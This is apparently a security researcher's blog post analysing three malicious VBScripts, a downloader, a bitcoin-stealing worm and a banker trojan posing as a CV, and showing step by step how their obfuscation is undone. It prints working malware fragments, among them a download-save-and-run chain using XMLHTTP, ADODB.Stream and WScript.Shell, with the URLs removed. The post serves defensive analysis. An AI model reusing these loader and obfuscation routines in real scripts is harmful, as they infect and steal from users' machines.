Although they were never really gone, it looks like there is a rise in the number of malicious vbscripts in the wild. Maybe the similarity to VBA scripts and possible use in macros is responsible for the increased popularity. Let’s have a quick look at a few of them.

First some background

VBScript has been installed with every desktop version of Windows since Windows 98 and is based on the Visual Basic programming language. So, the advantages are that it is a reasonably straightforward language to use and the scripts will run on almost any Windows computer. The language being easy to interpret is also a bit of a problem for malware authors as researchers have no problems interpreting what they are up to. So some of them have tried some obfuscation methods to make it harder for researchers.

We will have a look at some examples. Starting with an easy one and working our way up.

Example 1

This one has the filename TEMPcoral.vbs and it piqued my interest as it was often found on systems that were heavily infected. Being one of the first to arrive on such systems it looked as if was the start of a series of infections that we call Yelloader. Mostly Trojan.Droppers and Trojan.Clickers. You can find some examples in this removal guide. There are several versions of TEMPcoral.vbs but one of them was indeed responsible for downloading and running a Trojan.Dropper that lead to the rest of the infections.

This is a part of the obfuscated code:

dim all 
all=Chr(83)+Chr(101)+Chr(116)+Chr(32)+Chr(115)+Chr(104)+Chr(97)+Chr(119)+Chr(111)+Chr(115)+Chr(104)+Chr(105)+Chr(115)+Chr(104)+Chr(105)+Chr(32)+Chr(61)+Chr(32)+Chr(67)+Chr(114)+Chr(101)+Chr(97)+Chr(116)+Chr(101)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116)+Chr(40)+Chr(34)+Chr(77)+Chr(105)+Chr(99)+ etc 


The author simply replaced every character in the script with its character code. De-obfuscating straightforward scripts like this is as easy as changing “execute” into “wscript.echo” and you can look at the code.

dim all 
all=Set shawoshishi = CreateObject("Micros"+"oft.XMLH""TTP"):Set yunxingqilaiba = CreateObject("Wsc""rip""t.Shell"):shawoshishi.Open "GET","",0:shawoshishi.setRequestHeader "If-Modified-Since",0:shawoshishi.Send():Set shishijiushishi = CreateObject("ADODB.Stream"):shishijiushishi.Mode = 3:shishijiushishi.Type = 1:shishijiushishi.Open():shishijiushishi.Write(shawoshishi.responseBody):dim conststr:conststr="abcdefghijklmnopqrstuvwxyz":dim i,rtime:rtime="":For i=0 To 4:Randomize:rtime=rtime&Mid(conststr,Int(Rnd()*Len(conststr))1,1):Next:Set env=yunxingqilaiba.Environment("Process"):temppath=env.Item("TEMP"):path=temppath&"\"&rtime&".exe":shishijiushishi.SaveToFile path,2:path=path&" -install":wscript.sleep(1000):s="yunxing""qilaiba.R""un(path)":Execute(s) 

I x-rated the IP but for those interested this is the setup.exe that will be downloaded


The next example called Bare Bones BTC $.vbs  was a bit more complicated, but de-obfuscating it was more or less just as simple. We detect it as Worm.Jenxcus.Script. This one overwrites all vbs files on a system with copies of itself and tries to steal bitcoin keys.

dim Bny_Slom
Bny_Slom = "42#63#94#35#117#104#102#114#103#104#117#35#61#35#107#114#120#103#108#113#108#35#43#102#44#35#118#110#124#115#104#35#61#35#107#114#120#103#108#113#108#48#105#123#35#96#etc
Suleiman = ""
For Each Salem In Split(Bny_Slom, "#")
Suleiman = Suleiman & Chr(Salem - 3)
dim i
i = 1
do until i = 10
Execute Suleiman


The first de-obfuscated part of the script looks like this.


I removed the Skype handle of the malware author and part of the host-name


And to show you that it’s not always that easy we will have a look at some parts of a file called Curriculum_vitae_Suzana_p.vbs that turned out to be a Banker.Trojan Downloader.

This one uses a lot of functions. One of them was written to obfuscate a lot of other parts of the code.

Below is the obfuscated code in this function:

function RYmQPDQqUWPOrHMrDEBfFOjvggzFCbnLksZowYuYwNAKeXu(cdguuaFZj)
	Dim GVzLgGNldeoXjIcFeYupnCmUlJmAOsCnaNyvOT
	Dim PYAmamUdUkjJwQYlMIYmhWurAivLdRDTblkakrvhTJPBhhm
	Dim nnzVOsFZXdNgBVgD
	Dim dbjsiqCAm			
	IVtfgpHgZVTWSQzHZNClG	= Len(Cstr(22-21)) - (26-25)
	GVzLgGNldeoXjIcFeYupnCmUlJmAOsCnaNyvOT	= IVtfgpHgZVTWSQzHZNClG			
	PYAmamUdUkjJwQYlMIYmhWurAivLdRDTblkakrvhTJPBhhm	= CLng("&h" & Mid(cdguuaFZj, (26-25), (10-8)))
	jNdOjYXVIVKyQAEpJhb	= (10-8) + (12-11)
		MKqIrXmPKUijaorATJRQYACWSnJanKRbckEXXUkE = CLng("&h" & Mid(cdguuaFZj, jNdOjYXVIVKyQAEpJhb, (10-8)))
		If (GVzLgGNldeoXjIcFeYupnCmUlJmAOsCnaNyvOT < IVtfgpHgZVTWSQzHZNClG) Then
			GVzLgGNldeoXjIcFeYupnCmUlJmAOsCnaNyvOT = GVzLgGNldeoXjIcFeYupnCmUlJmAOsCnaNyvOT + (16-15)
			GVzLgGNldeoXjIcFeYupnCmUlJmAOsCnaNyvOT = (16-15)
		End If				
		WXUBseoHyINpfIeSLLSHWUOcoOJkBVyMRDaBQgovlyJpqVmUnQ = MKqIrXmPKUijaorATJRQYACWSnJanKRbckEXXUkE Xor Asc(Mid(Cstr((6-5)),GVzLgGNldeoXjIcFeYupnCmUlJmAOsCnaNyvOT,(46-45)))
		if (WXUBseoHyINpfIeSLLSHWUOcoOJkBVyMRDaBQgovlyJpqVmUnQ <= PYAmamUdUkjJwQYlMIYmhWurAivLdRDTblkakrvhTJPBhhm) Then
			WXUBseoHyINpfIeSLLSHWUOcoOJkBVyMRDaBQgovlyJpqVmUnQ = 25 + 25 + 25 + 25 + 25 + 25 + 25 + 25 + 25 + 25 + 5  + WXUBseoHyINpfIeSLLSHWUOcoOJkBVyMRDaBQgovlyJpqVmUnQ - PYAmamUdUkjJwQYlMIYmhWurAivLdRDTblkakrvhTJPBhhm
		End If
		nnzVOsFZXdNgBVgD	= nnzVOsFZXdNgBVgD & chr(WXUBseoHyINpfIeSLLSHWUOcoOJkBVyMRDaBQgovlyJpqVmUnQ)
		PYAmamUdUkjJwQYlMIYmhWurAivLdRDTblkakrvhTJPBhhm	= MKqIrXmPKUijaorATJRQYACWSnJanKRbckEXXUkE
		jNdOjYXVIVKyQAEpJhb	= jNdOjYXVIVKyQAEpJhb + (10-8)
	loop until (jNdOjYXVIVKyQAEpJhb >= len(cdguuaFZj))
end function 


Giving the variables meaningful names and solving the calculations makes this function a lot friendlier to look at:


function FunctionDecrypt1(input)
	Dim Integer1
	Dim Integer2
	Dim Long1
	Dim Integer3
	Dim Long2
	Dim Long3
	Dim String1
	Integer1	= 0
	Integer2	= Integer1			
	Long1	= CLng("&h" & Mid(input, (1), (2)))
	Integer3	= 3
		Long2 = CLng("&h" & Mid(input, Integer3, 2))
		If (Integer2 < Integer1) Then
			Integer2 = Integer2 + 1
			Integer2 = 1
		End If				
		Long3 = Long2 Xor Asc(Mid(Cstr((1)),Integer2,(1)))
		if (Long3 <= Long1) Then
			Long3 = 255  + Long3 - Long1
			Long3 = Long3 - Long1
		End If
		String1	= String1 & chr(Long3)
		Long1	= Long2
		Integer3	= Integer3 + (2)
	loop until (Integer3 >= len(input))
	FunctionDecrypt1 = String1
end function 

As an example of how this function was used in other parts of the script we can have a look at the section where the script downloads a file and writes that to a location on the infected system.

This is the before:

function YMGdwSKMICYDqMeUVeZQJrylhKndIYzbUDNvOOqFRXcHVpiic(BOUhcBXabUipFqVjyrEHaeWQHnUsAerb,qjMdnLJlsdGPJnXw)
On Error Resume Next
Set mPnrPkNOJASpwppobITDRCBz = CreateObject(RYmQPDQqUWPOrHMrDEBfFOjvggzFCbnLksZowYuYwNAKeXu("DB185A83E11F60BF2947A2DB016485")) RYmQPDQqUWPOrHMrDEBfFOjvggzFCbnLksZowYuYwNAKeXu("186E82E7"),  BOUhcBXabUipFqVjyrEHaeWQHnUsAerb, false
IpsflGFZyCjOdhdksrqaMWUaqll = (mPnrPkNOJASpwppobITDRCBz.Status = (((1 + 1 + 1) * (50 + 10)) + (10 + 10)))
If IpsflGFZyCjOdhdksrqaMWUaqll Then
	Set okYHoYEauCTLLmt = CreateObject(RYmQPDQqUWPOrHMrDEBfFOjvggzFCbnLksZowYuYwNAKeXu("58A8DD1C51A2E104498ADE71EF"))
	okYHoYEauCTLLmt.Type = 1
	okYHoYEauCTLLmt.Write mPnrPkNOJASpwppobITDRCBz.ResponseBody
	okYHoYEauCTLLmt.Position = 0
	Set RvcTWPRHvSwoOYfHLbVIFYJWGFyXCGVawFkM = Createobject(RYmQPDQqUWPOrHMrDEBfFOjvggzFCbnLksZowYuYwNAKeXu("B73AAC2EA626AB24A33A59AE29A43BBF084A8FC50260F36FE578DD"))
	If RvcTWPRHvSwoOYfHLbVIFYJWGFyXCGVawFkM.Fileexists(qjMdnLJlsdGPJnXw) Then
	End If
	okYHoYEauCTLLmt.SaveToFile qjMdnLJlsdGPJnXw
	Set okYHoYEauCTLLmt = Nothing
End if
Set mPnrPkNOJASpwppobITDRCBz = Nothing
end function 


After some renaming and using the function we figured out earlier, this is the after.

function DownloadToFile(url1,StringPathToFile)
On Error Resume Next
Set httpObject = CreateObject(MSXML2.XMLHTTP) GET,  url1, false
LongStatusBooleanBoolean = (httpObject.Status = (200))
If LongStatusBooleanBoolean Then
	Set objectStream = CreateObject(ADODB.Stream)
	objectStream.Type = 1
	objectStream.Write httpObject.ResponseBody
	objectStream.Position = 0
	Set Object1 = Createobject(Scripting.FileSystemObject)
	If Object1.Fileexists(StringPathToFile) Then
		Object1.DeleteFile  StringPathToFile
	End If
	objectStream.SaveToFile StringPathToFile
	Set objectStream = Nothing
End if
Set httpObject = Nothing
end function 


Even though the malware author in this case was friendly enough to insert comments about the use of some functions (in Portuguese) this one took me a lot more time to de-obfuscate as the other two. Most of all because the use of functions makes the script a lot less straightforward. I had to find and figure out the “DecryptFunction” first before I could make any sense of the rest.


Vbscripts can arrive on your system in different ways where drive-by downloads (think malvertising).  There are also many methods that infect word and excel documents. Due to the close relationship between VBA and VBScript and the fact that the Office document types are usually allowed as attachments, contrary to executables, this method is likely to stay in use.


If you don’t need to run scripts, consider disabling Windows Script Host. Also do not enable macros unless you are positively sure that you can trust and actually need to do so to use the document at hand. If possible contact the sender/creator and ask about the necessity.


With the returned popularity of visual basic as a first attack vector in mind, we took a look at de-obfuscating a few recent vbs files starting with a very easy one and progressing to a lot more complex script.

Special thanks to my online friends that helped me find samples: Oh My!, tetonbob and blender.

Pieter Arntz